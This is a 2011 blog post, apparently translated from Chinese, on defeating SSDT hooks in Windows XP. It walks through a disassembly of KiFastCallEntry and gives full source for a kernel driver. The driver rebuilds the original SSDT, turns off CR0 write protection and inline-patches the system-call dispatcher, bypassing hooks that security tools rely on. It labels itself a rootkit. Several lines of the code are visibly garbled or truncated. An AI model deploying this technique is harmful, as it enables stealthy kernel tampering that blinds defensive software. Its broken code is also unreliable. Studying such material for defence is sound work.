Thursday, August 25, 2011

Hook Specials 18 : Anti SSDT Hook

Author:认真的雪
Call nt.dll is through Syenter to swith to kernel in xp, Sysenter call KiFastCallEntry, Howerver address of KiFastCallEntry is found on ssdt table , Then call, So only forge a original ssdt table and cheat KiFastCallEntry, Like this is invalid.

First watch KiFastCallEntry:
code:
nt!KiFastCallEntry:
80541790 b923000000 mov ecx,23h
80541795 6a30 push 30h
80541797 0fa1 pop fs
80541799 8ed9 mov ds,cx
8054179b 8ec1 mov es,cx
8054179d 648b0d40000000 mov ecx,dword ptr fs:[40h]
805417a4 8b6104 mov esp,dword ptr [ecx+4]
805417a7 6a23 push 23h
805417a9 52 push edx
805417aa 9c pushfd
805417ab 6a02 push 2
805417ad 83c208 add edx,8
805417b0 9d popfd
805417b1 804c240102 or byte ptr [esp+1],2
805417b6 6a1b push 1Bh
805417b8 ff350403dfff push dword ptr ds:[0FFDF0304h]
805417be 6a00 push 0
805417c0 55 push ebp
805417c1 53 push ebx
805417c2 56 push esi
805417c3 57 push edi
//ebx=_KPCR.SelfPcr
805417c4 648b1d1c000000 mov ebx,dword ptr fs:[1Ch]
805417cb 6a3b push 3Bh
//esi=_KPCR.PrcbData.CurrentThread
805417cd 8bb324010000 mov esi,dword ptr [ebx+124h]
805417d3 ff33 push dword ptr [ebx]
805417d5 c703ffffffff mov dword ptr [ebx],0FFFFFFFFh
805417db 8b6e18 mov ebp,dword ptr [esi+18h]
805417de 6a01 push 1
805417e0 83ec48 sub esp,48h
805417e3 81ed9c020000 sub ebp,29Ch
805417e9 c6864001000001 mov byte ptr [esi+140h],1
805417f0 3bec cmp ebp,esp
805417f2 758d jne nt!KiFastCallEntry2+0x49 (80541781)
805417f4 83652c00 and dword ptr [ebp+2Ch],0
805417f8 f6462cff test byte ptr [esi+2Ch],0FFh
805417fc 89ae34010000 mov dword ptr [esi+134h],ebp
80541802 0f8538feffff jne nt!Dr_FastCallDrSave (80541640)
80541808 8b5d60 mov ebx,dword ptr [ebp+60h]
8054180b 8b7d68 mov edi,dword ptr [ebp+68h]
8054180e 89550c mov dword ptr [ebp+0Ch],edx
80541811 c74508000ddbba mov dword ptr [ebp+8],0BADB0D00h
80541818 895d00 mov dword ptr [ebp],ebx
8054181b 897d04 mov dword ptr [ebp+4],edi
8054181e fb sti
//eax is sequence number of function, But it is sequence number of function +1000h on KeServiceDescriptorTableShadow
//So result is 10h by under operation , otherwise is 0
8054181f 8bf8 mov edi,eax
80541821 c1ef08 shr edi,8
80541824 83e730 and edi,30h
80541827 8bcf mov ecx,edi
//When KTHREAD.ServiceTable gdi32.dll and user32.dll is called,
//ServiceTable amount to KeServiceDescriptorTableShadow,
//When ntdll.dll is called , ServiceTable is equivalent to KeServiceDescriptorTable
//When KeServiceDescriptorTableShadow , win32.sys is getted on add 10
80541829 03bee0000000 add edi,dword ptr [esi+0E0h]
8054182f 8bd8 mov ebx,eax
//Keep three bytes, Get real sequence number
80541831 25ff0f0000 and eax,0FFFh
//Compare with ssdt or shadow ssdt number of terms, if eax is greater than to jump
80541836 3b4708 cmp eax,dword ptr [edi+8]
80541839 0f8333fdffff jae nt!KiBBTUnexpectedRange (80541572)
//Whether the judgement is shadow ssdt or ssdt, it is shadow ssdt not to jump, it is ssdt to jump
8054183f 83f910 cmp ecx,10h
80541842 751b jne nt!KiFastCallEntry+0xcf (8054185f)
80541844 648b0d18000000 mov ecx,dword ptr fs:[18h]
8054184b 33db xor ebx,ebx
8054184d 0b99700f0000 or ebx,dword ptr [ecx+0F70h]
80541853 740a je nt!KiFastCallEntry+0xcf (8054185f)
80541855 52 push edx
80541856 50 push eax
80541857 ff1528c75580 call dword ptr [nt!KeGdiFlushUserBatch (8055c728)]
8054185d 58 pop eax
8054185e 5a pop edx
8054185f 64ff0538060000 inc dword ptr fs:[638h]
80541866 8bf2 mov esi,edx
80541868 8b5f0c mov ebx,dword ptr [edi+0Ch]
8054186b 33c9 xor ecx,ecx
8054186d 8a0c18 mov cl,byte ptr [eax+ebx]
//edi=KeServiceDescriptorTable->ServiceTableBase
//To do Patch on here, Let's edi point tectonic ssdt
80541870 8b3f mov edi,dword ptr [edi]
//Get real address, edi = KiServiceTable, eax = sequence number of function
80541872 8b1c87 mov ebx,dword ptr [edi+eax*4]
80541875 2be1 sub esp,ecx
80541878 c1e902 shr ecx,2
8054187a 8bfc mov edi,esp
8054187c 3b3574f73ff4 cmp esi,dword ptr ds:[0F43FF774h]
80541882 0f83a8010000 jae nt!KiSystemCallExit2+0x9f (80541a30)
//Parameter copy to kerner
80541888 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
//Call function
8054188a ffd3 call ebx
8054188c 8be5 mov esp,ebp
8054188e 648b0d24010000 mov ecx,dword ptr fs:[124h]
80541895 8b553c mov edx,dword ptr [ebp+3Ch]
80541898 899134010000 mov dword ptr [ecx+134h],edx

KiFastCallEntry get ETHREAD of current thread by _KPCR of fs register, then Get ServiceTable with ETHREAD. It is main SDT or shadow ssdt , keep 24 bit on shadow ssdt for get sequence number of function, Then function address is getted by main sdt or shadow ssdt and sequence number of function , The function is called finally.

code:
80541868 8b5f0c mov ebx,dword ptr [edi+0Ch]
8054186b 33c9 xor ecx,ecx
8054186d 8a0c18 mov cl,byte ptr [eax+ebx]
//edi=KeServiceDescriptorTable->ServiceTableBase
//Edi poiont tectonic ssdt through patch on there.
80541870 8b3f mov edi,dword ptr [edi

There is inline hook

Full code:
#include

#define SEC_IMAGE 0x01000000
typedef struct {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;


DWORD *oldssdt;
DWORD patchAddress;
DWORD nowSsdt;
PVOID lpRet;

//Get model base address on systerm kernel
DWORD FoundSystemModule(BOOL bKernel,char *sysFileName)
{
DWORD dwNeededSize,rc;
PMODULES pModules=(PMODULES)&pModules;
PCHAR pKernelName;
DWORD kernelBase;
DWORD i;

rc=ZwQuerySystemInformation(SystemModuleInformation,pModules,4,&dwNeededSize);
if (rc==STATUS_INFO_LENGTH_MISMATCH)
{
pModules=(MODULES *)ExAllocatePool(PagedPool,dwNeededSize);
rc=ZwQuerySystemInformation(SystemModuleInformation,pModules,dwNeededSize,NULL);
if (!NT_SUCCESS(rc))
{
DbgPrint("ZwQuerySystemInformation failed");
return 0;
}
}
else
{
DbgPrint("ZwQuerySystemInformation failed");
return 0;

}

if(bKernel)
{
pKernelName=pModules->smi[0].ModuleNameOffset+pModules->smi[0].ImageName;
strcpy(sysFileName,pKernelName);
kernelBase=(DWORD)pModules->smi[0].Base;
return kernelBase;
}
for (i=0;(pModules->dwNumberOfModules)>i;i++)
{
pKernelName=pModules->smi[i].ModuleNameOffset+pModules->smi[i].ImageName;
if(_stricmp(pKernelName,sysFileName)==0)
{
kernelBase=(DWORD)pModules->smi[i].Base;
return kernelBase;
}
}

return 0;
}


//Get and save original ssdt
BOOL SaveOldSddt(PVOID hModule,DWORD dwKSDT,DWORD dwKernelBase)
{

PDWORD pService;
DWORD dwKiServiceTable;

IMAGE_DOS_HEADER *dosHeader;
IMAGE_NT_HEADERS *ntHeader;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;
DWORD dwPointer;
DWORD point;
BOOL bFirstChunk=TRUE;
DWORD i;
dosHeader=(IMAGE_DOS_HEADER*)hModule;



ntHeader=(IMAGE_NT_HEADERS*)((DWORD)hModule+dosHeader->e_lfanew);

pbr=(PIMAGE_BASE_RELOCATION )(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress+(DWORD)hModule);
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
while(bFirstChunk||pbr->VirtualAddress)
{
bFirstChunk=FALSE;

for (i=0;((pbr->SizeOfBlock-8)/2)>i;i++)
{
if(pfe->type==IMAGE_REL_BASED_HIGHLOW)
{
dwPointer=pbr->VirtualAddress+pfe->offset;

point=*(DWORD*)(dwPointer+(DWORD)hModule)-(DWORD)ntHeader->OptionalHeader.ImageBase;
if(point==dwKSDT)
{

if(*(USHORT*)(dwPointer+(DWORD)hModule-2)==0x05c7)
{
dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointer+4)-ntHeader->OptionalHeader.ImageBase;
i=0;
for (pService=(PDWORD)((DWORD)hModule+dwKiServiceTable);
*pService-ntHeader->OptionalHeader.ImageBaseOptionalHeader.ImageBase;
pService++,i++)
{
oldssdt[i]=*pService-ntHeader->OptionalHeader.ImageBase+dwKernelBase;

}

}



}
}
pfe++;

}
pbr=(PIMAGE_BASE_RELOCATION)((DWORD)pbr+pbr->SizeOfBlock);
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));

}

return TRUE;
}

//Calculate mov [rem],rem的[rem]
DWORD GetFlag(PVOID lpBase)
{
IMAGE_DOS_HEADER *dosHeader;
IMAGE_NT_HEADERS *ntHeader;
IMAGE_EXPORT_DIRECTORY* exportTable;
DWORD* pfunctionAddresses;
DWORD* pfunctionNames;
WORD* pfunctionOrdinals;
DWORD functionOrdinal;
DWORD Base, i, functionAddress;
DWORD dwKSDT;
char* functionName;

dosHeader=(IMAGE_DOS_HEADER*)lpBase;
ntHeader=(IMAGE_NT_HEADERS*)((DWORD)lpBase+dosHeader->e_lfanew);
exportTable=(IMAGE_EXPORT_DIRECTORY*)((DWORD)lpBase+ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

pfunctionAddresses=(DWORD*)((DWORD)lpBase+exportTable->AddressOfFunctions);
pfunctionNames=(DWORD*)((DWORD)lpBase+exportTable->AddressOfNames);
pfunctionOrdinals=(WORD*)((DWORD)lpBase+exportTable->AddressOfNameOrdinals);
Base=exportTable->Base;
for(i=0;iNumberOfFunctions;i++)
{
functionName=(char*)((DWORD)lpBase+pfunctionNames[i]);
functionOrdinal=pfunctionOrdinals[i]+Base-1;
functionAddress = (DWORD)( (DWORD)lpBase + pfunctionAddresses[functionOrdinal]);
if(_stricmp(functionName,"KeServiceDescriptorTable")==0)
{
dwKSDT=functionAddress-(DWORD)lpBase;
return dwKSDT;
}

}
return 0;

}


//Maping file entry memory and get and save ssdt
BOOL GetOldSsdt(PUNICODE_STRING kernelFileName,DWORD kernelBase)
{
NTSTATUS status;
HANDLE hSection, hFile;
DWORD dwKSDT;
PVOID BaseAddress = NULL;
SIZE_T size=0;
IO_STATUS_BLOCK iosb;
OBJECT_ATTRIBUTES oa = {sizeof oa, 0, kernelFileName, OBJ_CASE_INSENSITIVE};
status=ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
if(!NT_SUCCESS(status))
{
DbgPrint("ZwOpenFile failed\n");
return FALSE;
}
oa.ObjectName = 0;

status=ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);
if(!NT_SUCCESS(status))
{
DbgPrint("ZwCreateSection failed\n");
return FALSE;
}

status=ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);
if(!NT_SUCCESS(status))
{
DbgPrint("ZwMapViewOfSection failed\n");
return FALSE;
}
ZwClose(hFile);
dwKSDT=GetFlag(BaseAddress);
if(dwKSDT==0)
{
DbgPrint("GetFlag failed\n");
return FALSE;
}
DbgPrint("dwKSDT:%x\n",dwKSDT);
if(!SaveOldSddt(BaseAddress,dwKSDT,kernelBase))
{
DbgPrint("GetOldSddt failed\n");
return FALSE;
}

ZwClose(hSection);
return TRUE;
}

//Tectonic new Ssdt
BOOL SetNewSsdt()
{
UNICODE_STRING kernelFileName;
char systemFile[80];
DWORD kernelBase;
int count;

kernelBase=FoundSystemModule(TRUE,systemFile);
if(kernelBase==0)
{
DbgPrint("get kernel base failed\n");
return FALSE;
}
if(_stricmp(systemFile,"ntkrnlpa.exe")==0)
{
RtlInitUnicodeString(&kernelFileName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntkrnlpa.exe");
}
else if(_stricmp(systemFile,"ntoskrnl.exe")==0)
{
RtlInitUnicodeString(&kernelFileName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntoskrnl.exe");

}
else
{
return FALSE;
}
count=KeServiceDescriptorTable->NumberOfServices;
nowSsdt=(DWORD)KeServiceDescriptorTable->ServiceTableBase;
oldssdt=(DWORD*)ExAllocatePool(NonPagedPool,count*4);
if(oldssdt==NULL)
{
DbgPrint("allocate memory failed\n");
return FALSE;
}
KdPrint(("oldssdt:%X\n",oldssdt));

if(!GetOldSsdt(&kernelFileName,kernelBase))
{
DbgPrint("save ssdt failed\n");
return FALSE;
}
return TRUE;


}


__declspec(naked)void UseOldSsdt()
{
_asm
{
pushfd ;
pushad ;
mov eax,nowSsdt;
cmp eax,[edi];
jnz shadow;//Whether is shadow ssdt
popad;
popfd;
mov cl,byte ptr [eax+ebx];
mov edi,oldssdt;
jmp [lpRet];
shadow:
popad;
popfd;
mov cl,byte ptr [eax+ebx];
mov edi,dword ptr [edi];
jmp [lpRet];

}


};




BOOL HookKiFastCallEntry(BOOL bHook)
{
BYTE jmpCode[5]={0xe9,0x00,0x00,0x00,0x00};
BYTE oldCode[5]={0x8a,0x0c,0x18,0x8b,0x3f};
BYTE *functionAddress;
int i;
if(bHook)
{
_asm
{
pushad;
mov ecx, 0x176;
rdmsr;
mov functionAddress, eax;
popad;
}
for(i=0;i<264;i++)
{
if(memcmp(&functionAddress[i],oldCode,5)==0)
{
patchAddress=(DWORD)&functionAddress[i];
KdPrint(("patch address:%X\n",patchAddress));
break;
}
}
if(i==264)
return FALSE;
*(DWORD*)&jmpCode[1]=(DWORD)UseOldSsdt-(patchAddress+5);
lpRet=(PVOID)(patchAddress+5);
_asm
{
CLI ;
MOV EAX, CR0 ;
AND EAX, NOT 10000H ;
MOV CR0, EAX;
}
memcpy((PVOID)patchAddress,jmpCode,5);
_asm
{
MOV EAX, CR0;
OR EAX, 10000H;
MOV CR0, EAX ;
STI;
}

}
else
{
_asm
{
CLI ;
MOV EAX, CR0 ;
AND EAX, NOT 10000H ;
MOV CR0, EAX;
}
memcpy((PVOID)patchAddress,oldCode,5);
_asm
{
MOV EAX, CR0;
OR EAX, 10000H;
MOV CR0, EAX ;
STI;
}

}
return TRUE;




}


VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
HookKiFastCallEntry(FALSE);
DbgPrint("ROOTKIT: OnUnload called\n");
}


NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
theDriverObject->DriverUnload = OnUnload;
if(SetNewSsdt())
{
HookKiFastCallEntry(TRUE);

}


return STATUS_SUCCESS;
}

If want to anti shadow ssdt hook, Only hook KiFastCallEntry and KiSystemService at the same time.

No comments:

Post a Comment